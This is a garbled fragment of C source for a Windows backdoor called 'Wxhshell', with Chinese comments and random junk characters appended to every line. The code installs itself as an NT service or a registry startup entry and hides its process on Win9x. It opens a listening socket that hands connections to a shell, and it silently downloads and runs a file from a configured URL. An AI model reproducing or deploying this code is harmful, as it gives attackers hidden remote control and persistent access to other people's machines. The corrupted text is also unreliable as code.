DWORD BasePriority; Q\s+w){f%
ULONG UniqueProcessId; `W}pAmhj
ULONG InheritedFromUniqueProcessId; H.|I|XRG/
} PROCESS_BASIC_INFORMATION; syLdm3d|
NsYEBT7f
PROCNTQSIP NtQueryInformationProcess; .lj5pmD
q !9;JrX
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .n+
;&5
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {,uSDIOj$
@7"n X
HANDLE hProcess; F|6"-*[RS
PROCESS_BASIC_INFORMATION pbi; OcMB)1uh\
U}:+Hz9
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [)}P{y
[&
if(NULL == hInst ) return 0; ~Y
f8,m
6<@+J
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :0(^^6Q\
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); pHb,*C</
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &Y@),S9
BZhf/{h[@
if (!NtQueryInformationProcess) return 0;
Y*pXbztP
*YH!L{y
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); I 2AQ
G
if(!hProcess) return 0; $- ]G6r
\i[N";K
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 72RTEGy
/L2ZI1v
CloseHandle(hProcess); kuBtPZ
QZ(O2!Mg
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <t!0{FJ
if(hProcess==NULL) return 0; m Qx1co
J
?aJa
HMODULE hMod; indbg
d
char procName[255]; q1YNp`]0i8
unsigned long cbNeeded; x])j]k
&FRf-6/
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^F?B_'
$#/8l58
CloseHandle(hProcess); n(z$u)Y
8?m=Vw<kIZ
if(strstr(procName,"services")) return 1; // 以服务启动 nTsV>lQY,
K)l*$h&-
return 0; // 注册表启动 ?$;&DoE
}
h8p{
fh_:ung
// 主模块 )40YA\V
int StartWxhshell(LPSTR lpCmdLine) SZ4y\I
{ hiVDN"$$
SOCKET wsl; t:lDFv4s
BOOL val=TRUE; S9[Up}`
int port=0; Dz.kJ_"Ro
struct sockaddr_in door; zN9@.!?X2
dUn]aS
if(wscfg.ws_autoins) Install(); c
3| Lk7Q
J+0
?e9
port=atoi(lpCmdLine); >d
.|I&
N{RHbSa(
if(port<=0) port=wscfg.ws_port; c\P}ZQ
lr)MySsu#H
WSADATA data; s#0m
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 26_PFHQu4
"lA$;\&
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; M>RLS/r>d
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); zYPvpZV/
door.sin_family = AF_INET; wN0?~
door.sin_addr.s_addr = inet_addr("127.0.0.1"); tx3p,
X
door.sin_port = htons(port); c7?|Tipc
-xH3}K%
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [daR)C
closesocket(wsl); aeLIs SEx
return 1; Oh`Pf;.z%
} ^CDh! )
'+^XL6$L
if(listen(wsl,2) == INVALID_SOCKET) { .b*-GWx
closesocket(wsl); xr)m8H
return 1; C}XB%:5H5
} 1*@Q~f:Uk
Wxhshell(wsl); 3@;24X
WSACleanup(); gd31d s!G
H:1F=$0I9
return 0; _{i-.;K
@yPI$"Ma
} mxvV~X%
kA 4kQ}q
// 以NT服务方式启动 t&bE/i_T
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) IP1{gMG
{ BS3BJwf;
f
DWORD status = 0; f V/
DWORD specificError = 0xfffffff;
w$I$xup
7XIG ne%v
serviceStatus.dwServiceType = SERVICE_WIN32; ZcN%F)htm
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ;}4e+`fF|
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %}Ob~m>P
serviceStatus.dwWin32ExitCode = 0; CH h6Mnw
serviceStatus.dwServiceSpecificExitCode = 0; vC5 (
serviceStatus.dwCheckPoint = 0; z?_5fte`
serviceStatus.dwWaitHint = 0; }xzbg
$0E_4#kwB
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); A832z`
if (hServiceStatusHandle==0) return; N(&/ Ud
h@?BA<'S
status = GetLastError(); 6sRKbp|r7
if (status!=NO_ERROR) cm7>%g(oQo
{ y {1p#
serviceStatus.dwCurrentState = SERVICE_STOPPED; i_;]UvP
serviceStatus.dwCheckPoint = 0; EabZ7zFoN
serviceStatus.dwWaitHint = 0; BcTV5Wcr
serviceStatus.dwWin32ExitCode = status; K_~SJbl
serviceStatus.dwServiceSpecificExitCode = specificError; 80ms7 B
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ep"54o5=d
return; 7_#i,|]58
} r*l:F{
hG!"e4
serviceStatus.dwCurrentState = SERVICE_RUNNING; vN4g#,<
serviceStatus.dwCheckPoint = 0; KIUa
serviceStatus.dwWaitHint = 0; 3F0:v,+;
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); mM7S9^<UH
} ! Q5ip'L
jlZW!$Iq
// 处理NT服务事件,比如:启动、停止 6,|)%~VUm
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3l@={Ts
{ VXAgp6
switch(fdwControl) L~jKx)S%
{ l0$
+)FKd
case SERVICE_CONTROL_STOP: WNPdy m
serviceStatus.dwWin32ExitCode = 0; ^CwzAB
serviceStatus.dwCurrentState = SERVICE_STOPPED; 6!n%SUt
serviceStatus.dwCheckPoint = 0; DjjG?(1
serviceStatus.dwWaitHint = 0; x+9aTsZ
{ `jb?6;15
SetServiceStatus(hServiceStatusHandle, &serviceStatus); WVf>>E^1
} *lIK?" mo
return; \TrhJ
case SERVICE_CONTROL_PAUSE: b='YCa
serviceStatus.dwCurrentState = SERVICE_PAUSED; %!HmtpS
break; )S|}de/a2
case SERVICE_CONTROL_CONTINUE: Gu:aSb
serviceStatus.dwCurrentState = SERVICE_RUNNING; 'qhA4W9
break; jn#
case SERVICE_CONTROL_INTERROGATE: T%xB|^lf
break; 0%^m
}; kN>AY'1
SetServiceStatus(hServiceStatusHandle, &serviceStatus); e}e\*BL
} fmvv
q1G&
3L4lk8Dd
// 标准应用程序主函数 @W^A%6"j
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) y@G5I>v
{ cV5Lp4wY?
d*T;RBk
// 获取操作系统版本 w8(qiU
OsIsNt=GetOsVer(); F[c;iM(^
GetModuleFileName(NULL,ExeFile,MAX_PATH); EpCUL@+
`W8GfbL
// 从命令行安装 $_l@k=
if(strpbrk(lpCmdLine,"iI")) Install(); !+T+BFw.
;{Y|n_
// 下载执行文件 [Qv%
if(wscfg.ws_downexe) { a$FELlMv
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) l0b Y
WinExec(wscfg.ws_filenam,SW_HIDE); yKa}U!$
} _#e='~;
v.,C"^W
if(!OsIsNt) { w'.ny<Pe
// 如果时win9x,隐藏进程并且设置为注册表启动 <Dt,FWWkv'
HideProc(); >0 i?}
StartWxhshell(lpCmdLine); !w98[BE7
} Sz"J-3b^
else `96:Z-!}
if(StartFromService()) z8= Gc$w!
// 以服务方式启动 NwuME/C7#
StartServiceCtrlDispatcher(DispatchTable); `qSNS->
else [cru+c+O:
// 普通方式启动 q=}Lm;r
StartWxhshell(lpCmdLine); t[F tIj6
Jnm{i|6N
return 0; |z|5j!Nfh
}